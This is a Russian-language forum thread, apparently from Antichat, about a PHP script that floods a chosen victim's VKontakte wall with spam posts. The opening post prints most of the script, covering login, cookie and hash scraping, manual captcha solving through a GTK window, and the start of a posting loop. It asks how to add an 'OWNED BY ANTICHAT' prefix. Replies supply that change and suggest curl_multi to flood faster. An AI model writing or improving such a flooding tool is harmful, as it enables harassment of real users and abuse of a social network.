Есть скрипт флудера ВК который шлет только рандомный текст. Нужно сделать чтобы сначало писал нужный текст а затем подставлял уже рандом. Пример: OWNED BY ANTICHAT | sfsdg7xsam0 Сам скрипт: PHP: <?php /// UTF-8 //// задаем свои данные $mail = "[email protected]"; //Cвоё мыло сюда $pass = "antichat"; //Свой пасс $id = "1"; //ID жертвы ///// Дальше ничего не меняем $s = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','e'); function text($s){ for ($i=0;$i<count($s);$i++){ $text = $text.$s[rand(0,count($s))];} return $text;} function wt($entry){ $rs = $entry->get_text(); fwrite(fopen('captcha.txt','w'),$rs); Gtk::main_quit();} function window(){ $window = new GtkWindow(); $window->set_size_request(160, 80); $window->set_position(Gtk::WIN_POS_CENTER); $window->set_title('Капча ^__^'); $window->connect_simple('destroy', array('Gtk', 'main_quit')); $vbox = new GtkVBox(); $image = GtkImage::new_from_file('captcha.jpg'); $entry = new GtkEntry('', 10); $entry->connect('activate', 'wt'); $entry->connect_simple('activate', array($window, 'destroy')); $vbox->pack_start($image, FALSE, FALSE); $vbox->pack_start($entry, FALSE, FALSE); $window->add($vbox); $window->show_all(); Gtk::main();} print iconv('CP1251', '866', "\n\n--------------Flood start--------------\n"); function aut ($mail,$pass){ $vk='http://login.vk.com/?act=login&email='.$mail.'&pass='.urlencode($pass).'&expire=&vk='; $aut = file_get_contents("$vk"); preg_match("/id=\'s\' value=\'(.*?)\'/",$aut,$sid); $cookie = 'remixap=1; remixlang=3; remixchk=5; remixsid='.$sid[1].";"; return $cookie;} function get($link,$cookie){ $cl = curl_init(); curl_setopt($cl, CURLOPT_URL,$link); curl_setopt($cl, CURLOPT_RETURNTRANSFER,1); curl_setopt($cl, CURLOPT_HEADER, 1); curl_setopt($cl, CURLOPT_COOKIE, $cookie); $res = curl_exec($cl); curl_close($cl); return $res;} function post($link,$data,$cookie){ $cl = curl_init(); curl_setopt($cl, CURLOPT_URL,$link); curl_setopt($cl, CURLOPT_RETURNTRANSFER,1); curl_setopt($cl, CURLOPT_TIMEOUT, 0); curl_setopt($cl, CURLOPT_POST, 1); curl_setopt($cl, CURLOPT_POSTFIELDS,$data); curl_setopt($cl, CURLOPT_HEADER, 1); curl_setopt($cl, CURLOPT_COOKIE, $cookie); $res = curl_exec($cl); curl_close($cl); if(substr_count($res,'captcha_sid')!==0){ preg_match('/\"captcha_sid\":\"(.*?)\",\"text\"/', $res, $cid); fwrite(fopen('captcha.jpg', 'w'),file_get_contents('http://vkontakte.ru/captcha.php?s=1&sid='.$cid[1].'')); window(); $res=post($link,$data.'&captcha_sid='.$cid[1].'&captcha_key='.file_get_contents('captcha.txt'),$cookie);}} function vk_hash($str){ $str = substr($str,-5).substr($str,4,-8); return strrev($str);} $cookie = aut($mail,$pass); echo $cookie." "; $wlink = "http://vkontakte.ru/wall.php?id=$id"; $str = get($wlink,$cookie); $reg = '/wall\.php\?act=write\&id=([0-9]*)/'; preg_match($reg,$str,$idw); $idw = $idw[1]; echo $idw."\n"; $wlink = "http://vkontakte.ru/wall.php?act=write&id=$idw"; $str = get($wlink,$cookie); $reg = '/name=\"wall\_hash\" value=\"(.*?)\" \/>/'; preg_match($reg,$str,$dhash);; $hash = vk_hash($dhash[1]); echo $hash."\n"; for($i=1;$i>0;$i++){ С меня спасибо
поправь сам там где у тебя мессадж генерируется на чтонить типа такого : PHP: $md5 = md5(time()); $mes = 'OWNED BY ANTICHAT | '.$md5; или rand() используй
вообще в php есть некое подобие многопоточности, смотри Multi CURL. Пример http://www.seobreeze.net/?p=357
не сочтите за рекламу Не сочтите за рекламу но вот вам пример использования мультикурла с моего блога PHP прокси чекер (curl_multi). Надеюсь поможет в написании флудера.